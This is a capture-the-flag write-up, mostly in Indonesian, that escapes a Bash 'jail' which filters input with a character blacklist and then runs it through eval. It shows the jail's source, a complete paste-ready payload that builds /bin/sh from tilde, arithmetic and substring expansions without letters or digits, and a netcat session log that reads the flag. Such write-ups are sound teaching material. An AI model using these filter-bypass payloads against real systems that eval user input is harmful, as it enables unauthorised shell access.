Nash Jail
Blacklist karakter untuk Bash hampir selalu bisa dibypass, apalagi kalau masih ada: eval "$input" Bash expansion itu luas banget: tilde expansion, parameter expansion, substring expansion, arithmetic expansion, case conversion, dan sebagainya. Kalau user input bisa masuk ke eval, tinggal cari cara buat “merakit” karakter yang diblok setelah proses validasi selesai.
Nash Jail
Challenge ini ngasih Bash jail bernama “Nash”. Kita dilarang memasukkan karakter alfanumerik dan beberapa simbol penting, tapi input tetap dieksekusi pakai eval. Ya… kombinasi klasik yang bikin Bash jail jadi agak rawan. 😄
Analisis source
Bagian penting dari jail.sh:
export PATH=""
unalias -a
unset $(env | cut -d= -f1)
hash -r
Lalu input diproses begini:
if [[ "$input" =~ [a-zA-Z0-9/!\&\"\'%().*\<\>@] ]]; then
echo "Illegal characters detected! Try again."
continue
fi
eval "$input"
Yang diblok:
Semua huruf:
a-zA-ZSemua angka:
0-9/Banyak simbol penting seperti
(,),., ,<,>, dan lain-lain
Tapi ada beberapa karakter yang masih lolos, misalnya:
$ ? [ ] { } _ = - ~ , :
Dan yang paling penting: input masuk ke eval.
Trial and error
Awalnya, payload paling standar kepikiran:
$(<flag.txt)
Tapi langsung zonk karena:
(dan)diblok<diblokhuruf pada
flag.txtdiblok
Lalu coba jalur umum Bash jail: pakai $PATH, substring expansion, atau /bin/cat.
Masalahnya:
export PATH=""
Jadi cat tidak bisa dipanggil langsung, dan kita juga tidak boleh mengetik /bin/cat.
Coba juga pendekatan glob seperti:
???????
Ini bisa match jail.sh, tapi karena PATH kosong, file di current directory tidak otomatis bisa dieksekusi tanpa path. Selain itu kita tetap belum bisa baca flag.txt.
Terus kelihatan satu jalan menarik:
~
Karakter ~ tidak diblok, dan di Bash dia expand menjadi home directory:
/home/Shinobi
Nah, di situ ada huruf-huruf yang kita butuhkan untuk membangun /bin/sh.
Ide exploit
Kita simpan home directory:
__=~
Sekarang variabel __ berisi:
/home/Shinobi
Index karakter:
index: 0 1 2 3 4 5 6 7 8 9 10 11 12
value: / h o m e / S h i n o b i
Target kita adalah:
/bin/sh
Kita perlu karakter:
/ b i n / s h
Masalah berikutnya: angka juga diblok. Jadi tidak bisa langsung menulis:
${__:0:1}
Untung Bash punya legacy arithmetic expansion:
$[ ... ]
Dan $? berisi exit status command sebelumnya, normalnya 0.
Contoh:
$[$?] # 0
$[-~$?] # 1
Karena:
Bash’s legacy arithmetic form $ ... evaluates arithmetic:
$$? →
0$-~$? →
1, because~0is1, and(-1)is1
The later lines create more numbers using repeated -~, which increments by one:
_____=$[-~-~-~-~-~-~-~-~-~-~-~$?] # 11
______=$[-~-~-~-~-~-~-~-~$?] # 8
_______=$[-~-~-~-~-~-~-~-~-~$?] # 9
________=$[-~-~-~-~-~-~$?] # 6
_________=$[-~-~-~-~-~-~-~$?] # 7
$? = 0
~0 = -1
-(-1) = 1
Operator -~ itu secara efektif increment. Jadi -~-~...$? bisa bikin angka tanpa ngetik digit. Agak barbar, tapi works. Wkwk.
Payload
Paste ini ke service:
__=~
___=$[$?]
____=$[-~$?]
_____=$[-~-~-~-~-~-~-~-~-~-~-~$?]
______=$[-~-~-~-~-~-~-~-~$?]
_______=$[-~-~-~-~-~-~-~-~-~$?]
________=$[-~-~-~-~-~-~$?]
_________=$[-~-~-~-~-~-~-~$?]
________=${__:________:____}
${__:___:____}${__:_____:____}${__:______:____}${__:_______:____}${__:___:____}${________,,}${__:_________:____}
Payload ini menghasilkan:
/bin/sh
Rinciannya:
${__:___:____} # __[0:1] = /
${__:_____:____} # __[11:1] = b
${__:______:____} # __[8:1] = i
${__:_______:____} # __[9:1] = n
${__:___:____} # __[0:1] = /
${________,,} # S menjadi s
${__:_________:____} # __[7:1] = h
Jadi pada akhirnya Bash melihat:
/bin/sh
dan kita keluar dari loop jail.
Ambil flag
Karena jail sebelumnya melakukan:
export PATH=""
command biasa seperti cat tidak akan ditemukan.
Setelah dapat shell, pakai path absolut:
/bin/cat flag.txt
Hasilnya:
~/ctf/tracebash/MISCC/nash_jail 3m 14s
❯ nc 13.127.119.28 1337 20:57:37
/home/Shinobi/jail.sh: line 6: env: No such file or directory
/home/Shinobi/jail.sh: line 6: cut: No such file or directory
======================================
Welcome to Nash!
======================================
No alphanumeric characters allowed.
Some symbols are restricted.
Can you read flag ?
======================================
Nash> __=~
___=$[$?]
____=$[-~$?]
_____=$[-~-~-~-~-~-~-~-~-~-~-~$?]
______=$[-~-~-~-~-~-~-~-~$?]
_______=$[-~-~-~-~-~-~-~-~-~$?]
________=$[-~-~-~-~-~-~$?]
_________=$[-~-~-~-~-~-~-~$?]
________=${__:________:____}
${__:___:____}${__:_____:____}${__:______:____}${__:_______:____}${__:___:____}${________,,}${__:_________:____}__=~
___=$[$?]
Nash> Nash> ____=$[-~$?]
_____=$[-~-~-~-~-~-~-~-~-~-~-~$?]
______=$[-~-~-~-~-~-~-~-~$?]
_______=$[-~-~-~-~-~-~-~-~-~$?]
________=$[-~-~-~-~-~-~$?]
_________=$[-~-~-~-~-~-~-~$?]
________=${__:________:____}
Nash> Nash> Nash> Nash> Nash> Nash> Nash>
${__:___:____}${__:_____:____}${__:______:____}${__:_______:____}${__:___:____}${________,,}${__:_________:____}
/bin/sh: 0: can't access tty; job control turned off
$ /bin/cat flag.txt
/bin/cat flag.txt
TBCTF{r357r1c73d_bu7_n07_1mp0551bl3}$
Extra explanation:
The payload builds /bin/sh without ever typing letters, numbers, or / into the jail.
First:
__=~
~ expands to the current user’s home directory:
/home/Shinobi
So __ now contains that string.
Then:
These are indices into /home/Shinobi:
index: 0 1 2 3 4 5 6 7 8 9 10 11 12
text: / h o m e / S h i n o b i
The final expansion selects and concatenates characters:
${__:___:____} # index 0, length 1 → /
${__:_____:____} # index 11 → b
${__:______:____} # index 8 → i
${__:_______:____} # index 9 → n
${__:___:____} # index 0 → /
${________,,} # S lowercased → s
${__:_________:____} # index 7 → h
Together, Bash evaluates it as:
/bin/sh
That starts a new shell outside Nash’s read + blacklist loop. The original jail set PATH="", so plain cat will not resolve; use its absolute path instead:
/bin/cat flag.txt
Flag
TBCTF{r357r1c73d_bu7_n07_1mp0551bl3}